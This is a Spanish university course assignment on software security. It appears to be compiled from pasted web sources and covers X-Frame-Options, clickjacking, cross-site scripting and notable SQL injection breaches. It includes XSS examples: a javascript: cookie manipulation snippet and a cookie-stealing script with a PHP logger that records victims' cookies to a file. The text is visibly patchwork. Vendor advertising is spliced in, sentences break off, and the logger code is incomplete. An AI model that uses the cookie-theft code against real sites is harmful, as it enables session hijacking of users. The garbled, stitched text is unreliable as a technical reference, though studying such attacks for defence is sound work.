Documente Academic
Documente Profesional
Documente Cultură
UNIVERSIDAD DE CARTAGENA
ASIGNATURA:
SEGURIDAD DE SOFTWARE
ACTIVIDAD N°1
PROGRAMA:
INGENIERIA DE SOFTWARE
VII SEMESTRE
INTEGRANTES:
GERVIS PAJARO PAJARO
JEINER MANGONES ANAYA
FIDEL HERNANDEZ ALTAMIRANDA
TUTOR:
MARTIN INDABURO
2020
SEGURIDAD DE SOFTAWARE INGENIERIA DE SOFTWARE
Esto representa una gran ventaja para los cibercriminales pues disminuye la
cantidad de esfuerzos que deben hacer para infiltrarse en un sistema. Para evitar
ser una víctima más; lo esencial es instalar una herramienta que brinde seguridad
a las aplicaciones web aun cuando los equipos de TI no estén activos. Una
excelente opción en este caso es la solución Tenable.io. Capaz de proteger tanto
aplicaciones web, como activos en la nube y contenedores informáticos.
3 Utiliza las opciones X-Frames
La mayoría de los navegadores comunes, incluyendo Microsoft IE, Google
Chrome; Apple Safari y Firefox, soportan la opción HTTP Header X-FRAME-
OPTIONS. La misma permite especificar si el navegador debe permitir o no que un
navegador muestre una página en una etiqueta <frame>, <iframe> u <object>.
Ya lo ves, son estrategias simples pero efectivas. Procura aplicarlas todas para
garantizar la protección efectiva de tus sistemas. Si quieres más información
acerca de las mejores herramientas de seguridad IT, no dudes en contactarnos.
En GB Advisors nos esforzamos por ayudar a nuestros clientes a tener entornos
de TI eficientes y seguros.
web con un WAF completo y altamente escalable, sino que además reduce el
riesgo de sufrir ataques distribuidos de denegación de servicio (DDoS) a gran
escala. Al incorporar controles sofisticados en el nivel de aplicaciones, nuestro
WAF basado en la nube permite realizar una inspección profunda de paquetes de
HTTP/S, garantizando la seguridad de capa de sockets seguros (SSL) de sus
transacciones a la vez que evita el abuso del tráfico HTTPS como el ataque
BREACH. Dado que nuestras soluciones se despliegan en los límites de Internet,
podemos detectar y detener el tráfico sospechoso antes de que llegue a sus
servidores, sin poner en riesgo el rendimiento y la disponibilidad.
3 Cross-site scripting (XSS)
Una secuencia de comandos en sitios cruzados o Cross-site scripting (XSS por
sus siglas en idioma inglés) es un tipo de vulnerabilidad informática o agujero de
seguridad típico de las aplicaciones Web, que puede permitir a una tercera
persona inyectar en páginas web visitadas por el usuario código JavaScript o en
otro lenguaje similar (ej: VBScript). Se puede evitar usando medidas como CSP,
política del mismo origen, etcétera.
javascript:voidprompt("Introduce la cookie:",document.cookie).replace(/[^;]
+/g,function(_){document.cookie=_;});
SEGURIDAD DE SOFTAWARE INGENIERIA DE SOFTWARE
AJAX
Usar AJAX para ataques de XSS no es tan conocido, pero sí peligroso. Se basa
en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp
y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.
Este se ha popularizado con gusanos de XSS que se encargan de replicarse por
medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar
XSS reflejados es posible).
El siguiente script de ejemplo obtiene el valor de las cookies y seguidamente las
enviaría al atacante.
Javascript:
var cookiesDeUsuario = document.cookie;
<?php
$archivo = fopen('log2.htm','a');
$cookie = $_GET['c'];
fclose($archivo);
?>
Se
debería incluir este código en cada página. Pero estas técnicas podían, a su
vez, ser evitadas por el atacante.
Como
solución más práctica, se ideó añadir al protocolo HTTP una cabecera llamada X-
Frame-Options.
Las páginas que envíen estas cabeceras al navegador, pretenden protegerse de
aparecer en un iframe. Se propusieron varios métodos más o menos flexibles para
intentar ayudar a las que legítimamente necesitaran incluirse dentro de un iframe.
Sus valores son:
DENY,
el navegador evita que la página sea rende rizada si está contenida
dentro de un iframe
SAMEORIGIN, la página solo puede ser mostrara en un Frame que
provenga del mismo origen que la propia página.
ALLOW-FROM uri, el navegador bloqueará la
renderización sólo si el origen de nivel superior está en un contexto de
navegación que es diferente al valor uri proporcionado en la directiva
Los usuarios deben confiar en que las páginas las envíen, y que su navegador las
interprete correctamente. Esto último hace tiempo que ya lo implementan la
mayoría. Por ejemplo, Chrome desde su versión 4.1.249.1042, Firefox desde
3.6.9,
Internet Explorer desde la 8, Opera desde la 10.5…
Evitar el ataque: desde el
cliente
Pero aunque la mayoría de
páginas ya se aprovechan de estas cabeceras, ¿qué pasa con las que no?
El usuario debe protegerse. Ciertos antivirus detectan en el navegador
comportamientos
“extraños” de este tipo, y les han asignado firmas. Por ejemplo
Avira, lo detecta como
HTML/Infected.WebPage.Gen2.
Durante las últimas dos décadas, un gran número de ataques de inyección SQL
han sido dirigidos hacia grandes páginas web, empresas y plataformas de redes
sociales. Algunos de estos ataques han resultado en grandes filtraciones de datos.
Algunos de los ejemplos más notorios incluyen los siguientes:
En 2008, dos hackers nacidos en Rusia usaron técnicas de inyección SQL
para atacar Heartland Payment Systems, un proveedor entonces exitoso de
soluciones de tramitación de pagos. Clasificada como la filtración de datos de
tarjetas de crédito más grande hasta el momento, el ataque dio a los hackers
acceso a la información de más de 150 millones de tarjetas de crédito y costó a la
empresa afectada más de 300 millones de dólares. En 2018, los hackers fueron
condenados a una sentencia conjunta de más de 16 años.
En 2016, un grupo de hackers explotó las vulnerabilidades de vBulletin, un
popular software de tablón de mensajería online, para atacar a 11 tableros de
mensajes dedicados a los juegos, la mayoría de ellos en ruso. Durante el ataque,
los hackers consiguieron robar datos de registro de más de 27 millones de
cuentas.
También en 2016, los hackers usaron métodos de inyección SQL para
lanzar un ciber ataque contra el banco nacional de Qatar. Los hackers
consiguieron robar más de 1.4 GB de datos, que fueron publicados poco después.
Estos datos implicaban la información de cuentas de miles de clientes, incluidos
los miembros de la familia real del país, oficiales de la inteligencia, polémicos
líderes religiosos, así como varios ciudadanos británicos, franceses y
estadounidenses que estaban indicados como espías en la base de datos del
banco